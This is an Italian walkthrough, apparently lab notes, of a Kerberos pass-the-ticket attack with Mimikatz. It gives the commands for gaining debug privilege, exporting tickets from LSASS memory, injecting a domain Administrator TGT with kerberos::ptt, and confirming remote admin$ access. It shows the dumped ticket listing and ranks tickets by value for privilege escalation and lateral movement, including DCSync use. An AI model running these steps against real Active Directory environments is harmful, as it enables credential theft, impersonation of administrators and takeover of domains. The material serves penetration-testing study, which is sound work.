tags: Pass_The_Ticket Mimikatz Windows_Privilage_Escalation Active_Directory_Priv_Esc


Il passaggio del ticket funziona scaricando il TGT dalla memoria LSASS della macchina. Il Local Security Authority Subsystem Service (LSASS) è un processo di memoria che memorizza le credenziali su un server Active Directory e può memorizzare il ticket Kerberos insieme ad altri tipi di credenziali per fungere da gatekeeper e accettare o rifiutare le credenziali fornite. È possibile scaricare i ticket Kerberos dalla memoria LSASS proprio come si scaricano gli hash. Quando si scaricano i ticket con mimikatz, si ottiene un ticket .kirbi che può essere utilizzato per ottenere l’amministratore di dominio se un ticket di amministratore di dominio è presente nella memoria LSASS. Questo attacco è ottimo per l’escalation dei privilegi e lo spostamento laterale se sono presenti ticket di account di servizio di dominio non protetti. L’attacco consente di passare all’amministratore di dominio scaricando il ticket di un amministratore di dominio e poi impersonando quel ticket utilizzando l’attacco PTT di mimikatz, che consente di agire come quell’amministratore di dominio. Si può pensare a un attacco pass the ticket come al riutilizzo di un ticket esistente, senza creare o distruggere alcun ticket, in questo caso si riutilizza semplicemente un ticket esistente di un altro utente sul dominio e si impersona quel ticket.

Per prima cosa lanciamo Mimikatz:

mimikatz.exe

Poi lanciamo questo comando per verificare di poter utilizzare Mimikatz in questo scenario:

privilege::debug

La risposta deve essere come la seguente:

Nel caso non appaia Privilage '20' OK significa che non abbiamo i permessi SeDebugPrivilege che di solito hanno solo gli amministratori o il System, infatti questo attacco ha effetto solo se riusciamo ad ottenere privilegi già abbastanza elevati da poter ulteriormente elevarli.

Ora esportiamo tutti i file .kirbi nella cartella nel quale abbiamo lanciato Mimikatz precedentemente:

sekurlsa::tickets /export

Nella cartella dovrebbe apparire qualcosa del genere:

C:\Users\Administrator\Downloads>dir
 Volume in drive C has no label.
 Volume Serial Number is E203-08FF
 
 Directory of C:\Users\Administrator\Downloads
 
08/23/2025  06:08 AM    <DIR>          .
08/23/2025  06:08 AM    <DIR>          ..
05/25/2020  03:45 PM         1,263,880 mimikatz.exe
05/25/2020  03:14 PM           212,480 Rubeus.exe
08/23/2025  06:08 AM             1,755 [0;353c4]-1-0-40a50000-CONTROLLER-1$@ldap-CONTROLLER-1.CONTROLLER.local.kirbi
08/23/2025  06:08 AM             1,587 [0;357f4][email protected]
08/23/2025  06:08 AM             1,755 [0;3cc38]-1-0-40a50000-CONTROLLER-1$@ldap-CONTROLLER-1.CONTROLLER.local.kirbi
08/23/2025  06:08 AM             1,755 [0;3cced]-1-0-40a50000-CONTROLLER-1$@ldap-CONTROLLER-1.CONTROLLER.local.kirbi
08/23/2025  06:08 AM             1,721 [0;3e7][email protected]
08/23/2025  06:08 AM             1,711 [0;3e7]-0-1-40a50000.kirbi
08/23/2025  06:08 AM             1,791 [0;3e7]-0-2-40a50000-CONTROLLER-1$@cifs-CONTROLLER-1.CONTROLLER.local.kirbi
08/23/2025  06:08 AM             1,791 [0;3e7]-0-3-40a50000-CONTROLLER-1$@LDAP-CONTROLLER-1.CONTROLLER.local.kirbi
08/23/2025  06:08 AM             1,755 [0;3e7]-0-4-40a50000-CONTROLLER-1$@ldap-CONTROLLER-1.CONTROLLER.local.kirbi
08/23/2025  06:08 AM             1,721 [0;3e7][email protected]
08/23/2025  06:08 AM             1,587 [0;3e7][email protected]
08/23/2025  06:08 AM             1,587 [0;3e7][email protected]
08/23/2025  06:08 AM             1,595 [0;69731][email protected]
08/23/2025  06:08 AM             1,755 [0;7d4e9]-1-0-40a50000-CONTROLLER-1$@ldap-CONTROLLER-1.CONTROLLER.local.kirbi
08/23/2025  06:08 AM             1,755 [0;7d545]-1-0-40a50000-CONTROLLER-1$@ldap-CONTROLLER-1.CONTROLLER.local.kirbi
08/23/2025  06:08 AM             1,791 [0;7d581]-1-0-40a50000-CONTROLLER-1$@LDAP-CONTROLLER-1.CONTROLLER.local.kirbi
08/23/2025  06:08 AM             1,755 [0;7d5ba]-1-0-40a50000-CONTROLLER-1$@ldap-CONTROLLER-1.CONTROLLER.local.kirbi
              19 File(s)      1,505,527 bytes
               2 Dir(s)  50,917,617,664 bytes free

Per decidere quale ticket impersonare è bene verificare bene quale sia quello con i privilegi più elevati, in questo caso quello di amministratore (Se non sai bene cosa scegliere segui la guida in fondo a questa pagina):

[0;69731][email protected]

Ora che abbiamo il ticket lo possiamo utilizzare nel seguente modo per impersonarlo:

kerberos::ptt <ticket>
 
#In questo caso sarebbe:
 
mimikatz # kerberos::ptt [0;69731][email protected]
 
* File: '[0;69731][email protected]': OK

Per verificare che abbiamo impersonato correttamente il ticket possiamo utlizzare il seguente comando al di fuori di Mimikatz:

C:\Users\Administrator\Downloads>klist
 
Current LogonId is 0:0x69731
 
Cached Tickets: (1)
 
#0>     Client: Administrator @ CONTROLLER.LOCAL
        Server: krbtgt/CONTROLLER.LOCAL @ CONTROLLER.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 8/23/2025 6:02:24 (local)
        End Time:   8/23/2025 16:02:24 (local)
        Renew Time: 8/30/2025 6:02:24 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

Per avere proprio la conferma al 100% puoi utilizzare il seguente comando:

dir \\192.168.179.128\admin$

  • dir Questo è il semplice comando per elencare il contenuto di una directory.

  • \\192.168.179.128 Questa è una sintassi chiamata UNC Path (Universal Naming Convention). Le due barre rovesciate \\ all’inizio indicano a Windows che non stai cercando un file sul tuo computer locale, ma una risorsa su un’altra macchina in rete, identificata in questo caso dal suo indirizzo IP.

  • \admin$ Questa è la parte più importante. admin$ non è una cartella qualunque. È una condivisione amministrativa nascosta (il $ alla fine la nasconde dalla normale navigazione di rete). Per impostazione predefinita, Windows crea automaticamente queste condivisioni su server e workstation. La condivisione admin$ punta direttamente alla directory di Windows sulla macchina remota (es. C:\Windows). L’accesso a questa condivisione è ristretto per default solo ai membri del gruppo Administrators.

Come Decifrare i Nomi dei Ticket

Per capire perché quello è il migliore, impariamo a leggere quei nomi di file. La struttura, semplificando, è: [info_sessione][email protected].

Le due parti più importanti per te sono:

  1. ClientName: L’utente a cui appartiene il ticket.

  2. ServiceName: Il servizio per cui il ticket è valido.

Analizziamo i due tipi di ticket principali che hai trovato:

  • Service Ticket: Permettono di accedere a un servizio specifico.

    • Esempio: ...-CONTROLLER-1$@**cifs**-CONTROLLER-1.kirbi

    • Questo ticket permette all’account del computer CONTROLLER-1$ di accedere a condivisioni file (cifs) su se stesso. Utile, ma limitato.

    • Esempio: ...-CONTROLLER-1$@**ldap**-CONTROLLER-1.CONTROLLER.local.kirbi

    • Questo ticket permette all’account CONTROLLER-1$ di fare query LDAP (interrogare Active Directory). Molto utile per la ricognizione.

  • Ticket Granting Ticket (TGT): Questo è il “biglietto d’oro” 👑. Non serve per accedere a un servizio, ma per richiedere altri Service Ticket per qualsiasi servizio a nome dell’utente.

    • Esempio: ...-**Administrator**@**krbtgt**-CONTROLLER.LOCAL.kirbi

    • Questa è la chiave universale. krbtgt è il servizio speciale di Kerberos che emette altri biglietti.

    • Impersonando questo ticket, diventi a tutti gli effetti l’utente Administrator agli occhi di Kerberos e puoi chiedere biglietti per accedere a cifs, ldap, http, ecc., su qualsiasi macchina del dominio.


La Strategia: Come Scegliere il Ticket Migliore 🎯

Segui questa gerarchia di priorità:

  1. Priorità Massima: TGT di un Utente Privilegiato.

    • Cosa cercare: Un ClientName che sia un Domain Admin (come Administrator) seguito da @krbtgt.

    • Perché: Ti dà il controllo quasi totale. È il tuo obiettivo primario.

    • Nel tuo caso: [...][email protected] è la scelta vincente.

  2. Seconda Scelta: TGT di un Account Macchina Importante.

    • Cosa cercare: Il nome di un computer (che finisce con $), specialmente un Domain Controller, seguito da @krbtgt.

    • Perché: Gli account dei computer, soprattutto dei DC, hanno privilegi molto alti e possono essere usati per attacchi come DCSync.

    • Nel tuo caso: [...][email protected].

  3. Terza Scelta: Service Ticket Utili.

    • Cosa cercare: Ticket per servizi come cifs o ldap appartenenti a utenti o macchine interessanti.

    • Perché: Se non trovi un TGT, questi ti permettono comunque di compiere azioni specifiche, come accedere a file share (cifs per il movimento laterale) o enumerare il dominio (ldap).